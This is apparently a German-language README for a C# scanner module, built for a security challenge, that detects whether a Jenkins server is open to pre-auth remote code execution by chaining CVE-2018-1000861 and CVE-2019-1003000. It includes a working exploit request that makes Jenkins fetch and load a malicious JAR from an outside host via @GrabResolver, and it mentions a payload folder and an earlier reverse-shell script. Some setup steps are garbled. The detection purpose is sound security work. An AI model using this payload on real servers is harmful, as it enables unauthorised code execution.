
Ein C#-Modul zur Erkennung, ob ein Jenkins-Server anfällig für die RCE-Sicherheitslücke in CVE-2019-1003000 ist (kombiniert mit CVE-2018-1000861 für pre-auth RCE)
Durch die Verkettung der Schwachstellen CVE-2018-1000861 und CVE-2019-1003000 habe ich ein Modul erstellt, um eine Pre-Auth-RCE auf Jenkins CI zu testen. Zunächst hatte ich versucht, die Schwachstelle mit einem Benutzernamen, einem Passwort und einem Jobnamen zu erkennen; jedoch dachte ich, es wäre realistischer und interessanter, diese Herausforderung durch die Verkettung der beiden Schwachstellen anzugehen.
Stellen Sie sicher, dass Visual Studio oder das .NET Core-Framework auf Ihrem Windows-, Linux- oder macOS-Rechner installiert ist.
docker pull jenkins/jenkins:2.121mvDir.sh aus
./mvDir.sh aus
chmod +x mvDir.sh aus. Falls es immer noch nicht funktioniert, können Sie es als bash mvDir.sh ausführen../run_vuln_jenkins.sh aus
http://localhost:8080)./run_updated_jenkins.sh oder bash run_updated_jenkins.sh ein sicherer, aktueller Jenkins-Server auf http://localhost:8000 gestartet, und das Ausführen des Moduls dagegen zeigt, dass dieser sicher und nicht anfällig für die Verkettung von CVE-2018-1000861 und CVE-2019-1003000 ist.Die anfängliche Planung, die ich erstellt hatte, war ein guter Rahmen für die Lösung des Problems; jedoch stellte ich während der Umsetzung fest, dass ich die Arbeit viel komplizierter machte als nötig. Ich hatte zunächst ein Bash-Skript erstellt, um eine Reverse-Shell auf meinem Host-Rechner zu starten, um RCE nachzuweisen. Das Ziel dieser Challenge war es jedoch zu beweisen, dass die Schwachstelle existiert. In diesem Fall sollte nachgewiesen werden, dass RCE auf Jenkins Version 2.121.2 mit den folgenden Plugins möglich ist: Pipeline: Declarative Plugin 1.3.4, Pipeline: Declarative Extension Points API 1.3.4, Pipeline: Groovy Plugin 2.61, Script Security Plugin 1.49.
Ich musste nicht tatsächlich eine Reverse-Shell erstellen und zeigen, dass ich beliebige Befehle ausführen kann. Dadurch wird die Erkennung sowohl auf Windows- als auch auf .nix-basierten Betriebssystemen einfacher. Nach dem Senden der GET-Anfrage stellte ich fest, dass die Seite mit einem Status als Erfolg oder einer Fehlermeldung antwortet. Um jedoch sicherzustellen, dass der Erfolgsstatus kein falsch positives Ergebnis war, richtete ich einen Webserver auf meinem Host mit python -m SimpleHTTPSever 80 ein. Nach dem Senden der benutzerdefinierten GET-Anfrage an die angegebene schädliche JAR-Datei (die im Ordner payload zu finden ist), konnte man sehen, dass die GET-Anfrage mit einem 200-Statuscode und dem korrekten Pfad zur JAR-Datei antwortet, die sich auf dem lokalen Rechner befindet, was die Existenz der Schwachstelle beweist. Unten ist ein Beispiel der GET-Anfrage und der entsprechenden Antwort. Die verschiedenen Dateipfade (tw/ und www/) enthalten jeweils die schädliche JAR-Datei; es sind nur verschiedene Pfade, die die Anfrage durchläuft, um sie zu finden.
http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

dotnet build auf.So führen Sie das Modul aus: dotnet run -- -u http://localhost:8080 -ip <host_ip_address>
http:// nicht zu vergessen, sonst wirft das Programm eine HTTP-Ausnahme und Sie müssen es erneut ausführen.Parameteroptionen
| Kurzform | Langform | Beschreibung |
|---|---|---|
| -uname | --username | Jenkins-Benutzername |
| -p | --password | Jenkins-Benutzerpasswort |
| -u | --url | Ziel-URL |
| -ip | --ip-adresse | IP-Adresse |
| -v | --verbose | Ausführliche Ausgabe |
-p, -uname wurden noch nicht implementiert, da ich das Modul nur zur Erkennung einer Pre-Auth-RCE erstellt habe, da ich dachte, es wäre realistischer für Detectify, weil der Scanner des Unternehmens meiner Meinung nach einfach auf eine Zieldomäne gerichtet würde (und keine benutzerdefinierten Parameter wie Passwort und Benutzername hätte, da es auch unsicher wäre, wenn ein anderes Unternehmen diese einem anderen gibt, selbst wenn es versucht, die Sicherheitslage zu verbessern).